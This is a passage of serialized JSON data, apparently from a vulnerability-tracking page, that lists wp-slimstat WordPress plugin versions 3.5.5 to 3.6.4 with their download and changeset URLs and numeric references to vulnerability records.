ype":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":376,"url_slug":377,"title":378,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":381},{"id":350,"url_slug":351,"title":352,"severity":42,"cvss_score":356,"vuln_type":73,"patched_in_version":355},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":5942,"download_url":5943,"svn_tag_url":5944,"released_at":39,"has_diff":54,"diff_files_changed":5945,"diff_lines":39,"trac_diff_url":5946,"vulnerabilities":5947,"is_current":54},"3.6.4","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.3.6.4.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F3.6.4\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F3.6.3&new_path=%2Fwp-slimstat%2Ftags%2F3.6.4",[5948,5949,5950,5951,5952,5953,5954,5955,5956,5957,5958,5959,5960,5961,5962,5963,5964,5965,5966,5967,5968,5969,5970],{"id":338,"url_slug":339,"title":340,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":343},{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":376,"url_slug":377,"title":378,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":381},{"id":350,"url_slug":351,"title":352,"severity":42,"cvss_score":356,"vuln_type":73,"patched_in_version":355},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":5972,"download_url":5973,"svn_tag_url":5974,"released_at":39,"has_diff":54,"diff_files_changed":5975,"diff_lines":39,"trac_diff_url":5976,"vulnerabilities":5977,"is_current":54},"3.6.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.3.6.3.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F3.6.3\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F3.6.2&new_path=%2Fwp-slimstat%2Ftags%2F3.6.3",[5978,5979,5980,5981,5982,5983,5984,5985,5986,5987,5988,5989,5990,5991,5992,5993,5994,5995,5996,5997,5998,5999,6000],{"id":338,"url_slug":339,"title":340,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":343},{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":376,"url_slug":377,"title":378,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":381},{"id":350,"url_slug":351,"title":352,"severity":42,"cvss_score":356,"vuln_type":73,"patched_in_version":355},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":6002,"download_url":6003,"svn_tag_url":6004,"released_at":39,"has_diff":54,"diff_files_changed":6005,"diff_lines":39,"trac_diff_url":6006,"vulnerabilities":6007,"is_current":54},"3.6.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.3.6.2.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F3.6.2\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F3.6.1&new_path=%2Fwp-slimstat%2Ftags%2F3.6.2",[6008,6009,6010,6011,6012,6013,6014,6015,6016,6017,6018,6019,6020,6021,6022,6023,6024,6025,6026,6027,6028,6029,6030],{"id":338,"url_slug":339,"title":340,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":343},{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":376,"url_slug":377,"title":378,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":381},{"id":350,"url_slug":351,"title":352,"severity":42,"cvss_score":356,"vuln_type":73,"patched_in_version":355},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":6032,"download_url":6033,"svn_tag_url":6034,"released_at":39,"has_diff":54,"diff_files_changed":6035,"diff_lines":39,"trac_diff_url":6036,"vulnerabilities":6037,"is_current":54},"3.6.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.3.6.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F3.6.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F3.6&new_path=%2Fwp-slimstat%2Ftags%2F3.6.1",[6038,6039,6040,6041,6042,6043,6044,6045,6046,6047,6048,6049,6050,6051,6052,6053,6054,6055,6056,6057,6058,6059,6060],{"id":338,"url_slug":339,"title":340,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":343},{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":376,"url_slug":377,"title":378,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":381},{"id":350,"url_slug":351,"title":352,"severity":42,"cvss_score":356,"vuln_type":73,"patched_in_version":355},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":6062,"download_url":6063,"svn_tag_url":6064,"released_at":39,"has_diff":54,"diff_files_changed":6065,"diff_lines":39,"trac_diff_url":6066,"vulnerabilities":6067,"is_current":54},"3.6","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.3.6.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F3.6\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F3.5.9&new_path=%2Fwp-slimstat%2Ftags%2F3.6",[6068,6069,6070,6071,6072,6073,6074,6075,6076,6077,6078,6079,6080,6081,6082,6083,6084,6085,6086,6087,6088,6089,6090],{"id":338,"url_slug":339,"title":340,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":343},{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":376,"url_slug":377,"title":378,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":381},{"id":350,"url_slug":351,"title":352,"severity":42,"cvss_score":356,"vuln_type":73,"patched_in_version":355},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":6092,"download_url":6093,"svn_tag_url":6094,"released_at":39,"has_diff":54,"diff_files_changed":6095,"diff_lines":39,"trac_diff_url":6096,"vulnerabilities":6097,"is_current":54},"3.5.9","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.3.5.9.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F3.5.9\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F3.5.8&new_path=%2Fwp-slimstat%2Ftags%2F3.5.9",[6098,6099,6100,6101,6102,6103,6104,6105,6106,6107,6108,6109,6110,6111,6112,6113,6114,6115,6116,6117,6118,6119,6120],{"id":338,"url_slug":339,"title":340,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":343},{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":376,"url_slug":377,"title":378,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":381},{"id":350,"url_slug":351,"title":352,"severity":42,"cvss_score":356,"vuln_type":73,"patched_in_version":355},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":6122,"download_url":6123,"svn_tag_url":6124,"released_at":39,"has_diff":54,"diff_files_changed":6125,"diff_lines":39,"trac_diff_url":6126,"vulnerabilities":6127,"is_current":54},"3.5.8","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.3.5.8.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F3.5.8\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F3.5.7&new_path=%2Fwp-slimstat%2Ftags%2F3.5.8",[6128,6129,6130,6131,6132,6133,6134,6135,6136,6137,6138,6139,6140,6141,6142,6143,6144,6145,6146,6147,6148,6149,6150],{"id":338,"url_slug":339,"title":340,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":343},{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":376,"url_slug":377,"title":378,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":381},{"id":350,"url_slug":351,"title":352,"severity":42,"cvss_score":356,"vuln_type":73,"patched_in_version":355},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":6152,"download_url":6153,"svn_tag_url":6154,"released_at":39,"has_diff":54,"diff_files_changed":6155,"diff_lines":39,"trac_diff_url":6156,"vulnerabilities":6157,"is_current":54},"3.5.7","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.3.5.7.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F3.5.7\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F3.5.6&new_path=%2Fwp-slimstat%2Ftags%2F3.5.7",[6158,6159,6160,6161,6162,6163,6164,6165,6166,6167,6168,6169,6170,6171,6172,6173,6174,6175,6176,6177,6178,6179,6180],{"id":338,"url_slug":339,"title":340,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":343},{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":376,"url_slug":377,"title":378,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":381},{"id":350,"url_slug":351,"title":352,"severity":42,"cvss_score":356,"vuln_type":73,"patched_in_version":355},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":369,"download_url":6182,"svn_tag_url":6183,"released_at":39,"has_diff":54,"diff_files_changed":6184,"diff_lines":39,"trac_diff_url":6185,"vulnerabilities":6186,"is_current":54},"https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.3.5.6.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F3.5.6\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F3.5.5&new_path=%2Fwp-slimstat%2Ftags%2F3.5.6",[6187,6188,6189,6190,6191,6192,6193,6194,6195,6196,6197,6198,6199,6200,6201,6202,6203,6204,6205,6206,6207,6208,6209],{"id":338,"url_slug":339,"title":340,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":343},{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":376,"url_slug":377,"title":378,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":381},{"id":350,"url_slug":351,"title":352,"severity":42,"cvss_score":356,"vuln_type":73,"patched_in_version":355},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":6211,"download_url":6212,"svn_tag_url":6213,"released_at":39,"has_diff":54,"diff_files_changed":6214,"diff_lines":39,"trac_diff_url":6215,"vulnerabilities":6216,"is_current":54},"3.5.5","https:\u002F\